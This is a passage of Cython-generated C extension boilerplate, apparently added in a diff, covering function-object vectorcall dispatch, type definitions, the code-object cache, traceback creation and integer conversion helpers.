__Pyx_CyFunction_CallMethod(func, self, new_args, kw); + Py_DECREF(new_args); + } else { + result = __Pyx_CyFunction_Call(func, args, kw); + } + return result; +} +#if CYTHON_METH_FASTCALL +static CYTHON_INLINE int __Pyx_CyFunction_Vectorcall_CheckArgs(__pyx_CyFunctionObject *cyfunc, Py_ssize_t nargs, PyObject *kwnames) +{ + int ret = 0; + if ((cyfunc->flags & __Pyx_CYFUNCTION_CCLASS) && !(cyfunc->flags & __Pyx_CYFUNCTION_STATICMETHOD)) { + if (unlikely(nargs < 1)) { + PyErr_Format(PyExc_TypeError, "%.200s() needs an argument", + ((PyCFunctionObject*)cyfunc)->m_ml->ml_name); + return -1; + } + ret = 1; + } + if (unlikely(kwnames) && unlikely(PyTuple_GET_SIZE(kwnames))) { + PyErr_Format(PyExc_TypeError, + "%.200s() takes no keyword arguments", ((PyCFunctionObject*)cyfunc)->m_ml->ml_name); + return -1; + } + return ret; +} +static PyObject * __Pyx_CyFunction_Vectorcall_NOARGS(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames) +{ + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *)func; + PyMethodDef* def = ((PyCFunctionObject*)cyfunc)->m_ml; +#if CYTHON_BACKPORT_VECTORCALL + Py_ssize_t nargs = (Py_ssize_t)nargsf; +#else + Py_ssize_t nargs = PyVectorcall_NARGS(nargsf); +#endif + PyObject *self; + switch (__Pyx_CyFunction_Vectorcall_CheckArgs(cyfunc, nargs, kwnames)) { + case 1: + self = args[0]; + args += 1; + nargs -= 1; + break; + case 0: + self = ((PyCFunctionObject*)cyfunc)->m_self; + break; + default: + return NULL; + } + if (unlikely(nargs != 0)) { + PyErr_Format(PyExc_TypeError, + "%.200s() takes no arguments (%" CYTHON_FORMAT_SSIZE_T "d given)", + def->ml_name, nargs); + return NULL; + } + return def->ml_meth(self, NULL); +} +static PyObject * __Pyx_CyFunction_Vectorcall_O(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames) +{ + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *)func; + PyMethodDef* def = ((PyCFunctionObject*)cyfunc)->m_ml; +#if CYTHON_BACKPORT_VECTORCALL + Py_ssize_t nargs = (Py_ssize_t)nargsf; +#else + Py_ssize_t nargs = PyVectorcall_NARGS(nargsf); +#endif + PyObject *self; + switch (__Pyx_CyFunction_Vectorcall_CheckArgs(cyfunc, nargs, kwnames)) { + case 1: + self = args[0]; + args += 1; + nargs -= 1; + break; + case 0: + self = ((PyCFunctionObject*)cyfunc)->m_self; + break; + default: + return NULL; + } + if (unlikely(nargs != 1)) { + PyErr_Format(PyExc_TypeError, + "%.200s() takes exactly one argument (%" CYTHON_FORMAT_SSIZE_T "d given)", + def->ml_name, nargs); + return NULL; + } + return def->ml_meth(self, args[0]); +} +static PyObject * __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames) +{ + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *)func; + PyMethodDef* def = ((PyCFunctionObject*)cyfunc)->m_ml; +#if CYTHON_BACKPORT_VECTORCALL + Py_ssize_t nargs = (Py_ssize_t)nargsf; +#else + Py_ssize_t nargs = PyVectorcall_NARGS(nargsf); +#endif + PyObject *self; + switch (__Pyx_CyFunction_Vectorcall_CheckArgs(cyfunc, nargs, NULL)) { + case 1: + self = args[0]; + args += 1; + nargs -= 1; + break; + case 0: + self = ((PyCFunctionObject*)cyfunc)->m_self; + break; + default: + return NULL; + } + return ((__Pyx_PyCFunctionFastWithKeywords)(void(*)(void))def->ml_meth)(self, args, nargs, kwnames); +} +static PyObject * __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS_METHOD(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames) +{ + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *)func; + PyMethodDef* def = ((PyCFunctionObject*)cyfunc)->m_ml; + PyTypeObject *cls = (PyTypeObject *) __Pyx_CyFunction_GetClassObj(cyfunc); +#if CYTHON_BACKPORT_VECTORCALL + Py_ssize_t nargs = (Py_ssize_t)nargsf; +#else + Py_ssize_t nargs = PyVectorcall_NARGS(nargsf); +#endif + PyObject *self; + switch (__Pyx_CyFunction_Vectorcall_CheckArgs(cyfunc, nargs, NULL)) { + case 1: + self = args[0]; + args += 1; + nargs -= 1; + break; + case 0: + self = ((PyCFunctionObject*)cyfunc)->m_self; + break; + default: + return NULL; + } + return ((__Pyx_PyCMethod)(void(*)(void))def->ml_meth)(self, cls, args, (size_t)nargs, kwnames); +} +#endif +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_CyFunctionType_slots[] = { + {Py_tp_dealloc, (void *)__Pyx_CyFunction_dealloc}, + {Py_tp_repr, (void *)__Pyx_CyFunction_repr}, + {Py_tp_call, (void *)__Pyx_CyFunction_CallAsMethod}, + {Py_tp_traverse, (void *)__Pyx_CyFunction_traverse}, + {Py_tp_clear, (void *)__Pyx_CyFunction_clear}, + {Py_tp_methods, (void *)__pyx_CyFunction_methods}, + {Py_tp_members, (void *)__pyx_CyFunction_members}, + {Py_tp_getset, (void *)__pyx_CyFunction_getsets}, + {Py_tp_descr_get, (void *)__Pyx_PyMethod_New}, + {0, 0}, +}; +static PyType_Spec __pyx_CyFunctionType_spec = { + __PYX_TYPE_MODULE_PREFIX "cython_function_or_method", + sizeof(__pyx_CyFunctionObject), + 0, +#ifdef Py_TPFLAGS_METHOD_DESCRIPTOR + Py_TPFLAGS_METHOD_DESCRIPTOR | +#endif +#if (defined(_Py_TPFLAGS_HAVE_VECTORCALL) && CYTHON_METH_FASTCALL) + _Py_TPFLAGS_HAVE_VECTORCALL | +#endif + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC | Py_TPFLAGS_BASETYPE, + __pyx_CyFunctionType_slots +}; +#else +static PyTypeObject __pyx_CyFunctionType_type = { + PyVarObject_HEAD_INIT(0, 0) + __PYX_TYPE_MODULE_PREFIX "cython_function_or_method", + sizeof(__pyx_CyFunctionObject), + 0, + (destructor) __Pyx_CyFunction_dealloc, +#if !CYTHON_METH_FASTCALL + 0, +#elif CYTHON_BACKPORT_VECTORCALL + (printfunc)offsetof(__pyx_CyFunctionObject, func_vectorcall), +#else + offsetof(PyCFunctionObject, vectorcall), +#endif + 0, + 0, +#if PY_MAJOR_VERSION < 3 + 0, +#else + 0, +#endif + (reprfunc) __Pyx_CyFunction_repr, + 0, + 0, + 0, + 0, + __Pyx_CyFunction_CallAsMethod, + 0, + 0, + 0, + 0, +#ifdef Py_TPFLAGS_METHOD_DESCRIPTOR + Py_TPFLAGS_METHOD_DESCRIPTOR | +#endif +#if defined(_Py_TPFLAGS_HAVE_VECTORCALL) && CYTHON_METH_FASTCALL + _Py_TPFLAGS_HAVE_VECTORCALL | +#endif + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC | Py_TPFLAGS_BASETYPE, + 0, + (traverseproc) __Pyx_CyFunction_traverse, + (inquiry) __Pyx_CyFunction_clear, + 0, +#if PY_VERSION_HEX < 0x030500A0 + offsetof(__pyx_CyFunctionObject, func_weakreflist), +#else + offsetof(PyCFunctionObject, m_weakreflist), +#endif + 0, + 0, + __pyx_CyFunction_methods, + __pyx_CyFunction_members, + __pyx_CyFunction_getsets, + 0, + 0, + __Pyx_PyMethod_New, + 0, + offsetof(__pyx_CyFunctionObject, func_dict), + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, +#if PY_VERSION_HEX >= 0x030400a1 + 0, +#endif +#if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, +#endif +#if __PYX_NEED_TP_PRINT_SLOT + 0, +#endif +#if PY_VERSION_HEX >= 0x030C0000 + 0, +#endif +#if PY_VERSION_HEX >= 0x030d00A4 + 0, +#endif +#if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, +#endif +}; +#endif +static int __pyx_CyFunction_init(PyObject *module) { +#if CYTHON_USE_TYPE_SPECS + __pyx_CyFunctionType = __Pyx_FetchCommonTypeFromSpec(module, &__pyx_CyFunctionType_spec, NULL); +#else + CYTHON_UNUSED_VAR(module); + __pyx_CyFunctionType = __Pyx_FetchCommonType(&__pyx_CyFunctionType_type); +#endif + if (unlikely(__pyx_CyFunctionType == NULL)) { + return -1; + } + return 0; +} +static CYTHON_INLINE void *__Pyx_CyFunction_InitDefaults(PyObject *func, size_t size, int pyobjects) { + __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; + m->defaults = PyObject_Malloc(size); + if (unlikely(!m->defaults)) + return PyErr_NoMemory(); + memset(m->defaults, 0, size); + m->defaults_pyobjects = pyobjects; + m->defaults_size = size; + return m->defaults; +} +static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsTuple(PyObject *func, PyObject *tuple) { + __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; + m->defaults_tuple = tuple; + Py_INCREF(tuple); +} +static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsKwDict(PyObject *func, PyObject *dict) { + __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; + m->defaults_kwdict = dict; + Py_INCREF(dict); +} +static CYTHON_INLINE void __Pyx_CyFunction_SetAnnotationsDict(PyObject *func, PyObject *dict) { + __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; + m->func_annotations = dict; + Py_INCREF(dict); +} + +/* CythonFunction */ + static PyObject *__Pyx_CyFunction_New(PyMethodDef *ml, int flags, PyObject* qualname, + PyObject *closure, PyObject *module, PyObject* globals, PyObject* code) { + PyObject *op = __Pyx_CyFunction_Init( + PyObject_GC_New(__pyx_CyFunctionObject, __pyx_CyFunctionType), + ml, flags, qualname, closure, module, globals, code + ); + if (likely(op)) { + PyObject_GC_Track(op); + } + return op; +} + +/* CLineInTraceback */ + #ifndef CYTHON_CLINE_IN_TRACEBACK +static int __Pyx_CLineForTraceback(PyThreadState *tstate, int c_line) { + PyObject *use_cline; + PyObject *ptype, *pvalue, *ptraceback; +#if CYTHON_COMPILING_IN_CPYTHON + PyObject **cython_runtime_dict; +#endif + CYTHON_MAYBE_UNUSED_VAR(tstate); + if (unlikely(!__pyx_cython_runtime)) { + return c_line; + } + __Pyx_ErrFetchInState(tstate, &ptype, &pvalue, &ptraceback); +#if CYTHON_COMPILING_IN_CPYTHON + cython_runtime_dict = _PyObject_GetDictPtr(__pyx_cython_runtime); + if (likely(cython_runtime_dict)) { + __PYX_PY_DICT_LOOKUP_IF_MODIFIED( + use_cline, *cython_runtime_dict, + __Pyx_PyDict_GetItemStr(*cython_runtime_dict, __pyx_n_s_cline_in_traceback)) + } else +#endif + { + PyObject *use_cline_obj = __Pyx_PyObject_GetAttrStrNoError(__pyx_cython_runtime, __pyx_n_s_cline_in_traceback); + if (use_cline_obj) { + use_cline = PyObject_Not(use_cline_obj) ? Py_False : Py_True; + Py_DECREF(use_cline_obj); + } else { + PyErr_Clear(); + use_cline = NULL; + } + } + if (!use_cline) { + c_line = 0; + (void) PyObject_SetAttr(__pyx_cython_runtime, __pyx_n_s_cline_in_traceback, Py_False); + } + else if (use_cline == Py_False || (use_cline != Py_True && PyObject_Not(use_cline) != 0)) { + c_line = 0; + } + __Pyx_ErrRestoreInState(tstate, ptype, pvalue, ptraceback); + return c_line; +} +#endif + +/* CodeObjectCache */ + #if !CYTHON_COMPILING_IN_LIMITED_API +static int __pyx_bisect_code_objects(__Pyx_CodeObjectCacheEntry* entries, int count, int code_line) { + int start = 0, mid = 0, end = count - 1; + if (end >= 0 && code_line > entries[end].code_line) { + return count; + } + while (start < end) { + mid = start + (end - start) / 2; + if (code_line < entries[mid].code_line) { + end = mid; + } else if (code_line > entries[mid].code_line) { + start = mid + 1; + } else { + return mid; + } + } + if (code_line <= entries[mid].code_line) { + return mid; + } else { + return mid + 1; + } +} +static PyCodeObject *__pyx_find_code_object(int code_line) { + PyCodeObject* code_object; + int pos; + if (unlikely(!code_line) || unlikely(!__pyx_code_cache.entries)) { + return NULL; + } + pos = __pyx_bisect_code_objects(__pyx_code_cache.entries, __pyx_code_cache.count, code_line); + if (unlikely(pos >= __pyx_code_cache.count) || unlikely(__pyx_code_cache.entries[pos].code_line != code_line)) { + return NULL; + } + code_object = __pyx_code_cache.entries[pos].code_object; + Py_INCREF(code_object); + return code_object; +} +static void __pyx_insert_code_object(int code_line, PyCodeObject* code_object) { + int pos, i; + __Pyx_CodeObjectCacheEntry* entries = __pyx_code_cache.entries; + if (unlikely(!code_line)) { + return; + } + if (unlikely(!entries)) { + entries = (__Pyx_CodeObjectCacheEntry*)PyMem_Malloc(64*sizeof(__Pyx_CodeObjectCacheEntry)); + if (likely(entries)) { + __pyx_code_cache.entries = entries; + __pyx_code_cache.max_count = 64; + __pyx_code_cache.count = 1; + entries[0].code_line = code_line; + entries[0].code_object = code_object; + Py_INCREF(code_object); + } + return; + } + pos = __pyx_bisect_code_objects(__pyx_code_cache.entries, __pyx_code_cache.count, code_line); + if ((pos < __pyx_code_cache.count) && unlikely(__pyx_code_cache.entries[pos].code_line == code_line)) { + PyCodeObject* tmp = entries[pos].code_object; + entries[pos].code_object = code_object; + Py_DECREF(tmp); + return; + } + if (__pyx_code_cache.count == __pyx_code_cache.max_count) { + int new_max = __pyx_code_cache.max_count + 64; + entries = (__Pyx_CodeObjectCacheEntry*)PyMem_Realloc( + __pyx_code_cache.entries, ((size_t)new_max) * sizeof(__Pyx_CodeObjectCacheEntry)); + if (unlikely(!entries)) { + return; + } + __pyx_code_cache.entries = entries; + __pyx_code_cache.max_count = new_max; + } + for (i=__pyx_code_cache.count; i>pos; i--) { + entries[i] = entries[i-1]; + } + entries[pos].code_line = code_line; + entries[pos].code_object = code_object; + __pyx_code_cache.count++; + Py_INCREF(code_object); +} +#endif + +/* AddTraceback */ + #include "compile.h" +#include "frameobject.h" +#include "traceback.h" +#if PY_VERSION_HEX >= 0x030b00a6 && !CYTHON_COMPILING_IN_LIMITED_API + #ifndef Py_BUILD_CORE + #define Py_BUILD_CORE 1 + #endif + #include "internal/pycore_frame.h" +#endif +#if CYTHON_COMPILING_IN_LIMITED_API +static PyObject *__Pyx_PyCode_Replace_For_AddTraceback(PyObject *code, PyObject *scratch_dict, + PyObject *firstlineno, PyObject *name) { + PyObject *replace = NULL; + if (unlikely(PyDict_SetItemString(scratch_dict, "co_firstlineno", firstlineno))) return NULL; + if (unlikely(PyDict_SetItemString(scratch_dict, "co_name", name))) return NULL; + replace = PyObject_GetAttrString(code, "replace"); + if (likely(replace)) { + PyObject *result; + result = PyObject_Call(replace, __pyx_empty_tuple, scratch_dict); + Py_DECREF(replace); + return result; + } + PyErr_Clear(); + #if __PYX_LIMITED_VERSION_HEX < 0x030780000 + { + PyObject *compiled = NULL, *result = NULL; + if (unlikely(PyDict_SetItemString(scratch_dict, "code", code))) return NULL; + if (unlikely(PyDict_SetItemString(scratch_dict, "type", (PyObject*)(&PyType_Type)))) return NULL; + compiled = Py_CompileString( + "out = type(code)(\n" + " code.co_argcount, code.co_kwonlyargcount, code.co_nlocals, code.co_stacksize,\n" + " code.co_flags, code.co_code, code.co_consts, code.co_names,\n" + " code.co_varnames, code.co_filename, co_name, co_firstlineno,\n" + " code.co_lnotab)\n", "", Py_file_input); + if (!compiled) return NULL; + result = PyEval_EvalCode(compiled, scratch_dict, scratch_dict); + Py_DECREF(compiled); + if (!result) PyErr_Print(); + Py_DECREF(result); + result = PyDict_GetItemString(scratch_dict, "out"); + if (result) Py_INCREF(result); + return result; + } + #else + return NULL; + #endif +} +static void __Pyx_AddTraceback(const char *funcname, int c_line, + int py_line, const char *filename) { + PyObject *code_object = NULL, *py_py_line = NULL, *py_funcname = NULL, *dict = NULL; + PyObject *replace = NULL, *getframe = NULL, *frame = NULL; + PyObject *exc_type, *exc_value, *exc_traceback; + int success = 0; + if (c_line) { + (void) __pyx_cfilenm; + (void) __Pyx_CLineForTraceback(__Pyx_PyThreadState_Current, c_line); + } + PyErr_Fetch(&exc_type, &exc_value, &exc_traceback); + code_object = Py_CompileString("_getframe()", filename, Py_eval_input); + if (unlikely(!code_object)) goto bad; + py_py_line = PyLong_FromLong(py_line); + if (unlikely(!py_py_line)) goto bad; + py_funcname = PyUnicode_FromString(funcname); + if (unlikely(!py_funcname)) goto bad; + dict = PyDict_New(); + if (unlikely(!dict)) goto bad; + { + PyObject *old_code_object = code_object; + code_object = __Pyx_PyCode_Replace_For_AddTraceback(code_object, dict, py_py_line, py_funcname); + Py_DECREF(old_code_object); + } + if (unlikely(!code_object)) goto bad; + getframe = PySys_GetObject("_getframe"); + if (unlikely(!getframe)) goto bad; + if (unlikely(PyDict_SetItemString(dict, "_getframe", getframe))) goto bad; + frame = PyEval_EvalCode(code_object, dict, dict); + if (unlikely(!frame) || frame == Py_None) goto bad; + success = 1; + bad: + PyErr_Restore(exc_type, exc_value, exc_traceback); + Py_XDECREF(code_object); + Py_XDECREF(py_py_line); + Py_XDECREF(py_funcname); + Py_XDECREF(dict); + Py_XDECREF(replace); + if (success) { + PyTraceBack_Here( + (struct _frame*)frame); + } + Py_XDECREF(frame); +} +#else +static PyCodeObject* __Pyx_CreateCodeObjectForTraceback( + const char *funcname, int c_line, + int py_line, const char *filename) { + PyCodeObject *py_code = NULL; + PyObject *py_funcname = NULL; + #if PY_MAJOR_VERSION < 3 + PyObject *py_srcfile = NULL; + py_srcfile = PyString_FromString(filename); + if (!py_srcfile) goto bad; + #endif + if (c_line) { + #if PY_MAJOR_VERSION < 3 + py_funcname = PyString_FromFormat( "%s (%s:%d)", funcname, __pyx_cfilenm, c_line); + if (!py_funcname) goto bad; + #else + py_funcname = PyUnicode_FromFormat( "%s (%s:%d)", funcname, __pyx_cfilenm, c_line); + if (!py_funcname) goto bad; + funcname = PyUnicode_AsUTF8(py_funcname); + if (!funcname) goto bad; + #endif + } + else { + #if PY_MAJOR_VERSION < 3 + py_funcname = PyString_FromString(funcname); + if (!py_funcname) goto bad; + #endif + } + #if PY_MAJOR_VERSION < 3 + py_code = __Pyx_PyCode_New( + 0, + 0, + 0, + 0, + 0, + 0, + __pyx_empty_bytes, /*PyObject *code,*/ + __pyx_empty_tuple, /*PyObject *consts,*/ + __pyx_empty_tuple, /*PyObject *names,*/ + __pyx_empty_tuple, /*PyObject *varnames,*/ + __pyx_empty_tuple, /*PyObject *freevars,*/ + __pyx_empty_tuple, /*PyObject *cellvars,*/ + py_srcfile, /*PyObject *filename,*/ + py_funcname, /*PyObject *name,*/ + py_line, + __pyx_empty_bytes /*PyObject *lnotab*/ + ); + Py_DECREF(py_srcfile); + #else + py_code = PyCode_NewEmpty(filename, funcname, py_line); + #endif + Py_XDECREF(py_funcname); + return py_code; +bad: + Py_XDECREF(py_funcname); + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(py_srcfile); + #endif + return NULL; +} +static void __Pyx_AddTraceback(const char *funcname, int c_line, + int py_line, const char *filename) { + PyCodeObject *py_code = 0; + PyFrameObject *py_frame = 0; + PyThreadState *tstate = __Pyx_PyThreadState_Current; + PyObject *ptype, *pvalue, *ptraceback; + if (c_line) { + c_line = __Pyx_CLineForTraceback(tstate, c_line); + } + py_code = __pyx_find_code_object(c_line ? -c_line : py_line); + if (!py_code) { + __Pyx_ErrFetchInState(tstate, &ptype, &pvalue, &ptraceback); + py_code = __Pyx_CreateCodeObjectForTraceback( + funcname, c_line, py_line, filename); + if (!py_code) { + /* If the code object creation fails, then we should clear the + fetched exception references and propagate the new exception */ + Py_XDECREF(ptype); + Py_XDECREF(pvalue); + Py_XDECREF(ptraceback); + goto bad; + } + __Pyx_ErrRestoreInState(tstate, ptype, pvalue, ptraceback); + __pyx_insert_code_object(c_line ? -c_line : py_line, py_code); + } + py_frame = PyFrame_New( + tstate, /*PyThreadState *tstate,*/ + py_code, /*PyCodeObject *code,*/ + __pyx_d, /*PyObject *globals,*/ + 0 /*PyObject *locals*/ + ); + if (!py_frame) goto bad; + __Pyx_PyFrame_SetLineNumber(py_frame, py_line); + PyTraceBack_Here(py_frame); +bad: + Py_XDECREF(py_code); + Py_XDECREF(py_frame); +} +#endif + +/* CIntToPy */ + static CYTHON_INLINE PyObject* __Pyx_PyInt_From_long(long value) { +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wconversion" +#endif + const long neg_one = (long) -1, const_zero = (long) 0; +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic pop +#endif + const int is_unsigned = neg_one > const_zero; + if (is_unsigned) { + if (sizeof(long) < sizeof(long)) { + return PyInt_FromLong((long) value); + } else if (sizeof(long) <= sizeof(unsigned long)) { + return PyLong_FromUnsignedLong((unsigned long) value); +#ifdef HAVE_LONG_LONG + } else if (sizeof(long) <= sizeof(unsigned PY_LONG_LONG)) { + return PyLong_FromUnsignedLongLong((unsigned PY_LONG_LONG) value); +#endif + } + } else { + if (sizeof(long) <= sizeof(long)) { + return PyInt_FromLong((long) value); +#ifdef HAVE_LONG_LONG + } else if (sizeof(long) <= sizeof(PY_LONG_LONG)) { + return PyLong_FromLongLong((PY_LONG_LONG) value); +#endif + } + } + { + unsigned char *bytes = (unsigned char *)&value; +#if !CYTHON_COMPILING_IN_LIMITED_API && PY_VERSION_HEX >= 0x030d00A4 + if (is_unsigned) { + return PyLong_FromUnsignedNativeBytes(bytes, sizeof(value), -1); + } else { + return PyLong_FromNativeBytes(bytes, sizeof(value), -1); + } +#elif !CYTHON_COMPILING_IN_LIMITED_API && PY_VERSION_HEX < 0x030d0000 + int one = 1; int little = (int)*(unsigned char *)&one; + return _PyLong_FromByteArray(bytes, sizeof(long), + little, !is_unsigned); +#else + int one = 1; int little = (int)*(unsigned char *)&one; + PyObject *from_bytes, *result = NULL; + PyObject *py_bytes = NULL, *arg_tuple = NULL, *kwds = NULL, *order_str = NULL; + from_bytes = PyObject_GetAttrString((PyObject*)&PyLong_Type, "from_bytes"); + if (!from_bytes) return NULL; + py_bytes = PyBytes_FromStringAndSize((char*)bytes, sizeof(long)); + if (!py_bytes) goto limited_bad; + order_str = PyUnicode_FromString(little ? "little" : "big"); + if (!order_str) goto limited_bad; + arg_tuple = PyTuple_Pack(2, py_bytes, order_str); + if (!arg_tuple) goto limited_bad; + if (!is_unsigned) { + kwds = PyDict_New(); + if (!kwds) goto limited_bad; + if (PyDict_SetItemString(kwds, "signed", __Pyx_NewRef(Py_True))) goto limited_bad; + } + result = PyObject_Call(from_bytes, arg_tuple, kwds); + limited_bad: + Py_XDECREF(kwds); + Py_XDECREF(arg_tuple); + Py_XDECREF(order_str); + Py_XDECREF(py_bytes); + Py_XDECREF(from_bytes); + return result; +#endif + } +} + +/* FormatTypeName */ + #if CYTHON_COMPILING_IN_LIMITED_API +static __Pyx_TypeName +__Pyx_PyType_GetName(PyTypeObject* tp) +{ + PyObject *name = __Pyx_PyObject_GetAttrStr((PyObject *)tp, + __pyx_n_s_name); + if (unlikely(name == NULL) || unlikely(!PyUnicode_Check(name))) { + PyErr_Clear(); + Py_XDECREF(name); + name = __Pyx_NewRef(__pyx_n_s__42); + } + return name; +} +#endif + +/* CIntFromPyVerify */ + #define __PYX_VERIFY_RETURN_INT(target_type, func_type, func_value)\ + __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, 0) +#define __PYX_VERIFY_RETURN_INT_EXC(target_type, func_type, func_value)\ + __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, 1) +#define __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, exc)\ + {\ + func_type value = func_value;\ + if (sizeof(target_type) < sizeof(func_type)) {\ + if (unlikely(value != (func_type) (target_type) value)) {\ + func_type zero = 0;\ + if (exc && unlikely(value == (func_type)-1 && PyErr_Occurred()))\ + return (target_type) -1;\ + if (is_unsigned && unlikely(value < zero))\ + goto raise_neg_overflow;\ + else\ + goto raise_overflow;\ + }\ + }\ + return (target_type) value;\ + } + +/* CIntFromPy */ + static CYTHON_INLINE long __Pyx_PyInt_As_long(PyObject *x) { +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wconversion" +#endif + const long neg_one = (long) -1, const_zero = (long) 0; +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic pop +#endif + const int is_unsigned = neg_one > const_zero; +#if PY_MAJOR_VERSION < 3 + if (likely(PyInt_Check(x))) { + if ((sizeof(long) < sizeof(long))) { + __PYX_VERIFY_RETURN_INT(long, long, PyInt_AS_LONG(x)) + } else { + long val = PyInt_AS_LONG(x); + if (is_unsigned && unlikely(val < 0)) { + goto raise_neg_overflow; + } + return (long) val; + } + } +#endif + if (unlikely(!PyLong_Check(x))) { + long val; + PyObject *tmp = __Pyx_PyNumber_IntOrLong(x); + if (!tmp) return (long) -1; + val = __Pyx_PyInt_As_long(tmp); + Py_DECREF(tmp); + return val; + } + if (is_unsigned) { +#if CYTHON_USE_PYLONG_INTERNALS + if (unlikely(__Pyx_PyLong_IsNeg(x))) { + goto raise_neg_overflow; + } else if (__Pyx_PyLong_IsCompact(x)) { + __PYX_VERIFY_RETURN_INT(long, __Pyx_compact_upylong, __Pyx_PyLong_CompactValueUnsigned(x)) + } else { + const digit* digits = __Pyx_PyLong_Digits(x); + assert(__Pyx_PyLong_DigitCount(x) > 1); + switch (__Pyx_PyLong_DigitCount(x)) { + case 2: + if ((8 * sizeof(long) > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) >= 2 * PyLong_SHIFT)) { + return (long) (((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); + } + } + break; + case 3: + if ((8 * sizeof(long) > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) >= 3 * PyLong_SHIFT)) { + return (long) (((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); + } + } + break; + case 4: + if ((8 * sizeof(long) > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) >= 4 * PyLong_SHIFT)) { + return (long) (((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); + } + } + break; + } + } +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX < 0x030C00A7 + if (unlikely(Py_SIZE(x) < 0)) { + goto raise_neg_overflow; + } +#else + { + int result = PyObject_RichCompareBool(x, Py_False, Py_LT); + if (unlikely(result < 0)) + return (long) -1; + if (unlikely(result == 1)) + goto raise_neg_overflow; + } +#endif + if ((sizeof(long) <= sizeof(unsigned long))) { + __PYX_VERIFY_RETURN_INT_EXC(long, unsigned long, PyLong_AsUnsignedLong(x)) +#ifdef HAVE_LONG_LONG + } else if ((sizeof(long) <= sizeof(unsigned PY_LONG_LONG))) { + __PYX_VERIFY_RETURN_INT_EXC(long, unsigned PY_LONG_LONG, PyLong_AsUnsignedLongLong(x)) +#endif + } + } else { +#if CYTHON_USE_PYLONG_INTERNALS + if (__Pyx_PyLong_IsCompact(x)) { + __PYX_VERIFY_RETURN_INT(long, __Pyx_compact_pylong, __Pyx_PyLong_CompactValue(x)) + } else { + const digit* digits = __Pyx_PyLong_Digits(x); + assert(__Pyx_PyLong_DigitCount(x) > 1); + switch (__Pyx_PyLong_SignedDigitCount(x)) { + case -2: + if ((8 * sizeof(long) - 1 > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 2 * PyLong_SHIFT)) { + return (long) (((long)-1)*(((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case 2: + if ((8 * sizeof(long) > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 2 * PyLong_SHIFT)) { + return (long) ((((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case -3: + if ((8 * sizeof(long) - 1 > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if 